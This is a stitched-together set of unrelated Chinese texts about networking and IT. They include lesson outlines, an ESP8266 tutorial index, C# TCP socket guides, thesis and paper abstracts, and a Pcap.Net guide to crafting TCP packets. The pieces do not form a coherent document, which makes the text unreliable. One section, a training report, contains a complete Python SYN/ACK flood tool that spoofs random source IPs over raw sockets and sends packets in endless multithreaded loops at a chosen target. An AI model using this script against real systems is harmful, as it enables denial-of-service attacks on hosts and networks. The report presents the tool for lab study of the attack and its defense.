动手学习TCP系列之环境搭建

合集下载

信息技术开学第一课

信息技术开学第一课
编程基础知识
通过简单的编程实例,让学生初步了解 编程的基本思想和常用语言。
对未来信息技术学习的展望和建议
深入学习计算机科学知识
建议学生系统学习计算机组成原理、数据结构、算法等核心课程,打 下坚实的计算机科学基础。
提升编程能力
鼓励学生多进行编程实践,掌握至少一门编程语言,培养解决实际问 题的能力。
关注新技术发展
提升工作效率
通过团队协作,可以集思 广益,共同解决问题,从 而提高工作效率。
促进知识共享
团队成员之间可以相互学 习,共享知识和经验,提 升个人和团队的整体能力 。
加强项目质量
团队协作可以确保项目从 多个角度得到充分的考虑 和测试,从而提高项目质 量。
有效沟通技巧和方法分享
清晰表达
用简洁明了的语言表达自己的观 点,避免使用模糊或晦涩的词汇
信息技术开学第一课
目录
• 课程介绍与目标 • 信息技术基础知识 • 信息安全与防范策略 • 数字化学习与创新能力培养 • 编程入门与体验 • 团队协作与沟通技巧 • 课程总结与展望
01
课程介绍与目标
信息技术课程的目的
培养学生掌握基本的信息技术知识和技能,包括计算机 操作、网络应用、信息处理等。
提高学生的信息素养,使其具备在信息化社会中学习、 工作、生活的能力。
培养学生的创新思维和实践能力,通过信息技术手段解 决实际问题。
开学第一课的重要性
01
激发学生的学习兴趣和热情 ,为后续课程打下良好基础

02
帮助学生了解课程安排和教 学计划,明确学习目标和任
务。
03
引导学生树立正确的学习态 度和价值观,培养良好的学
产品。
03
技术革新

Esp8266进阶之路14esp8266的FreeRtos系统学习的正确姿势,环境配置环境。。。

Esp8266进阶之路14esp8266的FreeRtos系统学习的正确姿势,环境配置环境。。。

Esp8266进阶之路14esp8266的FreeRtos系统学习的正确姿势,环境配置环境。

本系列博客学习由⾮官⽅⼈员潜⼼所⼒所写,不做开发板。

仅仅做个⼈技术交流分享,不做任何商业⽤途。

如有不对之处,请留⾔,本⼈及时更改。

序号SDK版本内容链接1nonos2.0搭建开发环境,开始⼀个“hellow world”串⼝打印。

2nonos2.0利⽤GPIO开始使⽤按钮点亮你的“第⼀盏灯。

3nonos2.0利⽤ "软件定时器 " 定时0.5秒闪烁点亮⼀盏LED。

4nonos2.0⽤PWM控制⼀盏LED的亮度变化。

5nonos2.0SDK⾼级使⽤之封装Post与Get请求云端,拿到“天⽓预报信息”。

6nonos2.0了解 SmartConfig与Airkiss⼀键配⽹,给8266配⽹上云端。

⽆需把wifi名字密码写在固件⾥。

7nonos2.0了解 softAP热点配⽹模式原理,仿“机智云”定义⾃⼰的热点配⽹模式协议。

8nonos2.0你要找的8266作为UDP、TCP客户端或服务端的⾓⾊通讯,都在这了。

9nonos2.0[⼩实战上篇]Windows系统搭建8266的本地Mqtt服务器,局域⽹点亮⼀盏LED灯。

10nonos2.0[⼩实战下篇]Windows系统搭建8266的本地Mqtt服务器,局域⽹点亮⼀盏LED灯。

11rtos2.0接⼊阿⾥智能,点亮⼀盏LED灯,期待天猫精灵语⾳控制的不约⽽⾄!12nonos2.0图⽂并茂学习阿⾥云主机搭建8266MQTT服务器,实现移动⽹络远程控制⼀盏LED。

13nonos2.0动⼿做个8266毕设⼩案例,smartConfig + MQTT协议轻松实现远程控制⼀盏LED。

14rtos2.0FreeRtos系统学习的正确姿势 ------ 环境搭建、烧录。

15rtos2.0接⼊阿⾥云平台⾮阿⾥智能的SDS服务,点亮⼀盏LED灯。

16nonos2.0基于Nonos移植红外线H1838,实现红外遥控器配⽹,远程控制⼀盏灯。

跟我学VS#语言编程技术——C#中的TCP-IP编程中的服务器端技术和应用示例

跟我学VS#语言编程技术——C#中的TCP-IP编程中的服务器端技术和应用示例
杨教授工作室,版权所有1 ,盗版必究, 1/12 页
杨教授工作室 精心创作的优秀程序员 职业提升必读系列资料
4、编程示例一 使用服务端主机的本地 IP 地址和端口号创建 TcpListener 类的实例。 IPAddress ipAddress = Dns.Resolve("localhost").AddressList[0]; try{ TcpListener tcpListener = new TcpListener(ipAddress, 13); } catch ( Exception e){ Console.WriteLine( e.ToString()); }
7、调用 Start 方法启动侦听
杨教授工作室,版权所程序员 职业提升必读系列资料
Start 方法将初始化基础 Socket。在此初始化后,Start 执行以下操作: 1) 使用基础 IPEndPoint 绑定基础 Socket。 2) 通过调用基础 Socket 的 Listen 方法开始侦听客户端连接。 但要注意的是,Start()方法只侦听连接请求。若要检测这些请求,可以使用以下方法之 一: Pending 方法轮询基础 Socket 以确定是否有挂起的连接,如果连接正挂起,则返回
5、编程示例二 下面的示例使用服务端主机的本地端口号创建 TcpListener 类的实例。 try{ TcpListener tcpListener = new TcpListener(13); } catch ( Exception e ){ Console.WriteLine( e.ToString()); }
6、编程示例三 下面的示例使用服务端主机的本地终结点创建 TcpListener 类的实例。 IPAddress ipAddress = Dns.Resolve(Dns.GetHostName()).AddressList[0]; IPEndPoint ipLocalEndPoint = new IPEndPoint(ipAddress, 11000); try{ TcpListener tcpListener = new TcpListener(ipLocalEndPoint); } catch ( Exception e ){ Console.WriteLine( e.ToString()); }

基于TCPIP的局域网聊天室的设计与实现

基于TCPIP的局域网聊天室的设计与实现

学士学位论文基于TCP/IP的局域网聊天室的设计与实现姓名:学号:指导教师:学院:专业:完成日期:学士学位论文基于TCP/IP的局域网聊天室的设计与实现姓名:学号:指导教师:学院:专业:完成日期:摘要随着计算机网络技术的发展,各种各样基于网络的应用也随之诞生,比如基于互联网的信息发布,通信,数据共享等等。

局域网的发展也同样迅速.很多政府机构,企业,学校,都是先以一个统一的局域网联结在一起,再分别接入INTERNET。

因此基于局域网的即时通信工具,就这样应运而生了.所以本文提出了一个更加合理的设计,并在WINDOWS平台上加以了实现.在本实现内将客户端和服务端综合在一个程序之内,用多线程实现不同的并行任务。

并进行了人性化的界面设计,使用起来更加简单方便,并且功能十分合理,又易于扩展以及个性化定制。

本文通过局域网聊天系统来具体共享内存实现进程间的数据交换,利用windows消息机制实现进程间的同步,两种机制结合使用。

局域网聊天室作为一种新型的聊天工具可以提供更为及时、可靠、突破了必须有外界网络接入等优点,具有极其广泛的发展前景.本文介绍了采用JAVA编程开发局域网聊天系统的一套比较常用的解决方案。

采用TCP模式进行文字聊天, 在客户端之间点对点(C/C)的进行。

本系统采用典型的C/S(客户端/服务器)的框架模式,在该方案中采用Socket (套接字)原理实现网络通信,最终实现了通过服务器中转的文字聊天、文件传输功能,从而大大降低了程序的开发难度。

本系统主要包括登陆、聊天、好友列表和服务器管理几个部分。

本系统从需求分析、系统的设计、功能的实现都严格遵循了软件工程设计的思想.【关键词】Socket;TCP/IP;C/S;局域网聊天室AbstractWith the development of computer network technology,a variety of Web-based applications also will be the birth,such as Internet-based information release, communications, data sharing, and so on. LAN development is quickly. Many government agencies,businesses,schools,are first linked together in a unified LAN,respectively connected to the INTERNET, LAN-based instant messaging tool, and thus came into being。

国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御

国家开放大学-—网络安全评价—实训2-拒绝服务攻击-TCP SYN Flood攻击与防御

信息安全与管理专业实训报告学生姓名:一、实训名称:拒绝服务攻击-TCP SYN Flood攻击与防御。

二、实训内容1、kali的安装部署2、SYN Flood攻击演示3、观察受攻击目标的系统状态4、防御措施三、实验步骤1、python攻击代码环境:ubuntu/kali +python 2.7.11使用方法如下:mode有三种模式syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。

我电脑是i7-6700单线程也只能这点速度。

cpu1已经使用89%了看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。

下面是代码:#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):def __init__(self,dstip,dstport,mode):threading.Thread.__init__(self)self.dstip = dstipself.dstport =dstportself.mode =modedef run(self):attack(self.dstip,self.dstport,self.mode)def checksum(data):s = 0n = len(data) % 2for i in range(0, len(data)-n, 2):s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:s+= ord(data[i+1])while (s >> 16):s = (s & 0xFFFF) + (s >> 16)s = ~s & 0xffffreturn sdef IP(source,destination,udplen):version = 4ihl = 5tos = 0tl = 20+udplenip_id = random.randint(1,65535)flags = 0offset = 0ttl = 128protocol =6check =0source = socket.inet_aton(source)destination = socket.inet_aton(destination)ver_ihl = (version << 4)+ihlflags_offset = (flags << 13)+offsetip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,check,source,destination)check=checksum(ip_header)ip_header = struct.pack("!BBHHHBBH4s4s",ver_ihl,tos,tl,ip_id,flags_offset,ttl,protocol,socket.htons(check),source,destination)return ip_headerdef TCP(srcip,dstip,protocol,dp,fg):source = socket.inet_aton(srcip)destination = socket.inet_aton(dstip)srcport=random.randint(1,65535)dstport=dpsyn_num=random.randint(1,4000000000)if fg == 2:ack_num=0else:ack_num=random.randint(1,4000000000) hlen=5zero=0flag=fgwindow=8192check=0point=0tcplen=hlenh_f=(hlen << 12)+flagTCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,s yn_num,ack_num,h_f,window,check,point)check=checksum(TCP_head)TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point )return TCP_headdef makepacket(dstip,dstport,fg):srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'. '+str(random.randint(1,255))protocol=6ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)return ippacketdef attack(dstip,dstport,mode):if mode == 'syn':fg=2while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'ack':fg=18while 1:data=makepacket(dstip,dstport,fg)s.sendto(data,(dstip,dstport))elif mode == 'syn&ack':while 1:data=makepacket(dstip,dstport,2)s.sendto(data,(dstip,dstport))data=makepacket(dstip,dstport,18)s.sendto(data,(dstip,dstport))else:print 'DON\'T xia say!'dstip=raw_input('attack IP:')dstport=int(input('attack PORT:'))mode=raw_input('mode:(syn or ack or syn&ack)') threads=int(input("线程数threads:"))ip_first=[]for i in range(1,10):ip_first.append(i)for i in range(11,172):ip_first.append(i)for i in range(173,192):ip_first.append(i)for i in range(193,224):ip_first.append(i)s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)threads_name=[]for i in range(threads):threads_name.append('teread'+str(i))for i in range(threads):threads_name[i]=myThread(dstip,dstport,mode)for i in range(threads):threads_name[i].start()2、C语言攻击代码环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)使用方法:支持两个参数目的ip和目的端口性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。

C#基于TCP协议的服务器端和客户端通信编程的基础教程

C#基于TCP协议的服务器端和客户端通信编程的基础教程

C#基于TCP协议的服务器端和客户端通信编程的基础教程运⾏在TCP之上常见的⽹络应⽤协议有⽐如HTTP、FTP、SMTP、POP3、IMAP。

TCP是TCP/IP体系中最重要的传输协议,它提供全双⼯和可靠交付的服务,是⼤多数应⽤协议⼯作的基础。

TCP是⼀种⾯向连接(连接导向)的,可靠的,基于字节流的传输层通信协议。

TCP的⼯作过程建⽴连接传输数据连接的终⽌TCP的主要特点1.TCP是⾯向连接的协议2.是端到端的通信。

每个TCP连接只能有两个端点,⽽且只能⼀对⼀通信,不能点对多的的直接通信3.⾼可靠性4.全双⼯⽅式传输5.数据以字节流的⽅式传输6.传输的数据⽆消息边界关于线程利⽤TCP开发应⽤程序时,.net框架提供两种⼯作⽅式,⼀种是同步⼯作⽅式,另⼀种是异步⼯作⽅式。

同步⼯作⽅式是指利⽤TCP编写的程序执⾏到监听或者接收语句,在未完成当前⼯作前不再。

继续往下执⾏,线程处于阻塞状态,直到该语句完成后才能继续执⾏下⼀条语句。

异步⼯作⽅式是指程序执⾏到监听或者接收语句时,⽆论当前⼯作是否完成,都会继续往下执⾏。

TcpListener与TcpClient类常⽤⽅法与属性TCPListener类⽤于监听客户端连接请求,TCPClient类⽤于提供本地主机和远程主机的连接信息。

两个类都位于 .Socckets命名空间下。

1.TCPListener类常⽤的⽅法:(1)AcceptSocket:从端⼝处接收⼀个连接并赋予它Socket对象(2)AcceptTcpClient:从端⼝处接收⼀个连接并赋予它TCPClient对象(3)Equals:判断两个TcpListener对象是否相等(4)GetType:获取当前实例的类型(5)Pending :确定是否有挂起的连接请求(6)Start:开始接听传⼊的连接请求(7)Stop:关闭监听器(8)ToString:创建TcpListener对象的字符串表⽰2.TcpClient常⽤的属性与⽅法属性:(1)Client:获取或设置基础套接字(2)LingerState:获取或设置套接字保持连接的时间(3)NoDelay:获取或设置⼀个值,该值在发送或接收缓存冲未满时禁⽌延迟、(4)ReceiveBufferSize:获取或设置TCP接收缓存区的⼤⼩(5)ReceiveTimetut:获取或设置套接字接收数据的超时时间(6)SendBufferSize:获取或设置TCP发送缓存区的⼤⼩(7)SendTimeout:获取或设置套接字发送数据超时时间⽅法:(1)Close:释放TcpClient实例,⽽不关闭基础连接(2)Connect:⽤指定的主机名和端⼝号将客户端连接到TCP主机(3)BeginConnect:开始⼀个远程主机连接的异步请求(4)GetStream:获取能够发送和接收数据的NetworkStream对象TCP编程的⼀般步骤1.⽹络通信的最基本的前提就是客户端要先和服务器建⽴TCP连接2.服务端要不断的监听客户端是否有连接请求、并且服务端能要识别特定的客户端3.连接并创建对应的套接字4.发送数据和接收数据编写服务器端程序的⼀般步骤1.创建⼀个TcpListener对象,然后调⽤该对象的Start⽅法在指定的端⼝进⾏监听2.在单独的线程中,⾸先循环调⽤AcceptTcpClient⽅法接收客户端的连接请求,从该⽅法中的返回结果中得到与该客户端对应的TcpClient对象,并利⽤该对象的GetStream⽅法得到NetworkStream。

tcpip课程设计考试

tcpip课程设计考试

tcpip课程设计考试一、教学目标本课程的学习目标包括知识目标、技能目标和情感态度价值观目标。

知识目标要求学生掌握TCP/IP协议的基本原理、各层功能和协议实现。

技能目标要求学生能够运用TCP/IP协议分析网络数据包、搭建和调试网络实验环境。

情感态度价值观目标培养学生的团队合作意识、创新精神和对网络技术的热爱。

教学目标应具体、可衡量,以便学生和教师能够清晰地了解课程的预期成果。

同时分析课程性质、学生特点和教学要求,明确课程目标,将目标分解为具体的学习成果,以便后续的教学设计和评估。

二、教学内容根据课程目标,选择和教学内容,确保内容的科学性和系统性。

本课程的教学大纲如下:1.TCP/IP协议概述:介绍TCP/IP协议的发展历程、体系结构及特点。

2.网络层:讲解IP地址、子网划分、路由选择等概念,让学生了解网络层的功能和协议实现。

3.传输层:深入剖析TCP和UDP协议,重点掌握TCP的三次握手和四次挥手过程。

4.应用层:介绍常见的应用层协议,如HTTP、FTP、SMTP等,并分析它们在实际应用中的作用。

5.网络设备与实验:讲解网络设备的工作原理和配置方法,安排实验室实践环节,让学生动手搭建和调试网络环境。

教学内容要与课本有关联性,要符合教学实际,不要写无关内容,不要带任何的解释和说明。

三、教学方法选择合适的教学方法,如讲授法、讨论法、案例分析法、实验法等。

通过教学方法应多样化,以激发学生的学习兴趣和主动性。

1.讲授法:用于讲解TCP/IP协议的基本原理和概念,让学生掌握基础知识。

2.讨论法:鼓励学生就案例或实验过程中的问题进行讨论,培养学生的思考和分析能力。

3.案例分析法:分析实际应用场景中的网络协议,让学生了解协议在现实世界中的应用。

4.实验法:安排实验室实践环节,让学生动手操作,提高实际操作能力和解决问题的能力。

四、教学资源选择和准备适当的教学资源,包括教材、参考书、多媒体资料、实验设备等。

教学资源应该能够支持教学内容和教学方法的实施,丰富学生的学习体验。

基于OPNET_的网络协议TCP_仿真实验平台的设计与实现

基于OPNET_的网络协议TCP_仿真实验平台的设计与实现

科技与创新┃Science and Technology&Innovation ·122·2023年第17期文章编号:2095-6835(2023)17-0122-03基于OPNET的网络协议TCP仿真实验平台的设计与实现游胜玉,刘琳(东华理工大学软件学院,江西南昌330013)摘要:计算机网络是一门实践性非常强的学科,但由于实验实训的环境条件有限,很多网络实验无法开展,仿真软件成为了网络实验的必要选择。

网络仿真技术的使用,既可以降低实验成本,又可以培养初学者的创造能力。

采用OPNET 网络仿真软件搭建实验平台,对TCP(Transmission Control Protocol,传输控制协议)的慢启动算法、拥塞避免算法、快速重传算法和快速修复算法4种不同算法实验进行设计与实现。

关键词:OPNET;TCP;仿真实验;网络中图分类号:TP393.2文献标志码:A DOI:10.15913/ki.kjycx.2023.17.036随着经济的迅猛发展,计算机网络已经离不开人们的生活。

社会需求的日益增加,网络拓扑结构也不断复杂化,网络的应用也不断多元化,传统的网络实验操作环境已远远不能满足现代实验操作的要求。

在计算机网络技术中,服务器、交换机、防火墙及路由器是网络的主流设备[1-2],即使实际的网络实验中采用一定数量的网络设备,但意味着需要投入更高的成本,且网络设备维护也比较复杂,特别是对于那些复杂的大型网络建设,更需要大量的人力物力来建设。

另外,对于初学者来说,如果在硬件设备搭建实验过程中出现故障导致实验失败,也不知道问题出现在哪,从而影响实验效果[3-4]。

因此,针对这样的情况,引入仿真技术来搭建网络实验环境,可以减少投资成本,并且对于初学者而言又锻炼了实践能力。

本文采用OPNET 网络仿真软件搭建仿真实验平台,对传输控制协议TCP的慢启动算法、拥塞避免算法、快速重传算法和快速修复算法进行设计与实现。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

动手学习TCP系列之环境搭建环境搭建和配置在开始进行实验之前,首先看看实验环境的搭建:Wireshark:用来抓取网络上的包,可以清楚的看到TCP/IP协议层,以及每层的详细信息,通过此处下载一台虚拟机:如果客户端和服务端都在本机,那么数据通信是不经过网卡的,所以Wireshark 就抓不到任何数据包。

方便的办法就是本机安装一个虚拟机,通过本机和虚拟机通信进行实验。

我使用的是VirtualBox+winXP.:是一个WinPcap的.NET wrapper,基于这个库,我们就可以很方便的通过C#代码来实现下面功能(通过此处下载):获取网络设备接收、解析数据包创建、发送数据包在建立好实验环境之后,还需要进行一些简单的配置,保证宿主机和虚拟机之间的网络是畅通的。

将虚拟机网络设置为"Host-only Adapter"模式。

虚拟机网络设置好之后,就可以配置本机和虚拟机IP地址了,然后保证宿主机可以ping通虚拟机。

环境验证通过上面的步骤,简单的实验环境就建立完成了,下面就要来实现客户端和服务端了,试试实验环境是否能够正常工作。

服务端首先,将虚拟机(192.168.56.102)作为服务端,运行下面一段代码创建一个简单的socket server,服务端绑定192.168.56.102:8081:import sysfrom socket import *HOST = "192.168.56.102"PORT = 8081BUFSIZ = 1024ADDR = (HOST, PORT)server = socket(AF_INET, SOCK_STREAM)print "Socket created"try:server.bind(ADDR)except error, msg:print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit()server.listen(10)print 'Socket now listening'while True:conn, addr = server.accept()try:data = conn.recv(100)if data:print dataexcept Exception, e:print econn.close()客户端客户端的实现在本机(192.168.56.101),使用一段基于的代码向服务器发送一个[SYN]包(TCP连接建立需要进行三次握手,[SYN]包就是第一个握手包),来请求建立TCP连接。

在客户端代码中,通过实现了两个工具函数,一个用来获取本机网卡设备列表,一个用在构造不同类型的TPC包。

获取本机网卡设备列表代码:public static PacketDevice GetNICDevice(){// Retrieve the device list from the local machineIList allDevices = LivePacketDevice.AllLocalMachine;if (allDevices.Count == 0){Console.WriteLine("No interfaces found! Make sure WinPcap is installed.");return null;}// Print the device listfor (int i = 0; i != allDevices.Count; ++i){LivePacketDevice device = allDevices[i];Console.Write((i + 1) + ". " + );if (device.Description != null)Console.WriteLine(" (" + device.Description + ")");elseConsole.WriteLine(" (No description available)");}int deviceIndex = 0;do{Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):");string deviceIndexString = Console.ReadLine();if (!int.TryParse(deviceIndexString, out deviceIndex) || deviceIndex < 1 || deviceIndex > allDevices.Count){deviceIndex = 0;}} while (deviceIndex == 0);return allDevices[deviceIndex - 1];}另一段重要的代码就是构造TCP包的代码,根据OSI七层模型,下面代码中分别创建了链路层、网络层和传输层的部分,然后生成一个数据包:public static Packet BuildTcpPacket(EndPointInfo endPointInfo, TcpControlBits tcpControlBits, List tcpOptionList = null){EthernetLayer ethernetLayer =new EthernetLayer{Source = new MacAddress(endPointInfo.SourceMac),Destination = new MacAddress(endPointInfo.DestinationMac), EtherType = EthernetType.None, // Will be filled automatically. };IpV4Layer ipV4Layer =new IpV4Layer{Source = new IpV4Address(endPointInfo.SourceIp),CurrentDestination = new IpV4Address(endPointInfo.DestinationIp), Fragmentation = IpV4Fragmentation.None,HeaderChecksum = null, // Will be filled automatically.Identification = 123,Options = IpV4Options.None,Protocol = null, // Will be filled automatically.Ttl = 10,TypeOfService = 0,};TcpLayer tcpLayer =new TcpLayer{SourcePort = endPointInfo.SourcePort,DestinationPort = endPointInfo.DestinationPort,Checksum = null, // Will be filled automatically.SequenceNumber = seqNum,AcknowledgmentNumber = ackNum,ControlBits = tcpControlBits,Window = windowSize,UrgentPointer = 0,Options = (tcpOptionList == null) ? TcpOptions.None : new TcpOptions(tcpOptionList),};PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, tcpLayer);return builder.Build(DateTime.Now);}主程序中,首先配置了客户端和服务器的端口、IP/MAC地址信息,然后通过前面两个工具函数构造一个TCP连接建立请求包([SYN]包),并通过"VirtualBox Host-Only Network"网卡发送给服务端。

static void Main(string[] args){// Take the selected adapterPacketDevice selectedDevice = Utils.GetNICDevice();// Open the output deviceusing (PacketCommunicator communicator = selectedDevice.Open(System.Int32.MaxValue, // name of the device PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode1)) // read timeout{EndPointInfo endPointInfo = new EndPointInfo();endPointInfo.SourceMac = "08:00:27:00:C0:D5";endPointInfo.DestinationMac = "08:00:27:70:A6:AE";endPointInfo.SourceIp = "192.168.56.101";endPointInfo.DestinationIp = "192.168.56.102";endPointInfo.SourcePort = 3330;endPointInfo.DestinationPort = 8081;using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp port " + endPointInfo.DestinationPort)){// Set the filtercommunicator.SetFilter(filter);}communicator.SendPacket(Utils.BuildTcpPacket(endPointInfo, TcpControlBits.Synchronize, null));PacketHandler(communicator, endPointInfo);}Console.WriteLine("Press Enter to Quit!");Console.ReadLine();}private static void PacketHandler(PacketCommunicator communicator, EndPointInfo endPointInfo){Packet packet = null;do{PacketCommunicatorReceiveResult result = communicator.ReceivePacket(out packet);switch (result){case PacketCommunicatorReceiveResult.Timeout:// Timeout elapsedcontinue;case PacketCommunicatorReceiveResult.Ok:Utils.PacketInfoPrinter(packet);break;default:throw new InvalidOperationException("The result " + result + " shouldnever be reached here");}} while (true);}运行代码代码完成了,下面看看运行效果,为了直观的看到数据包的传输,这是就可以打开Wireshark 了。

相关文档
最新文档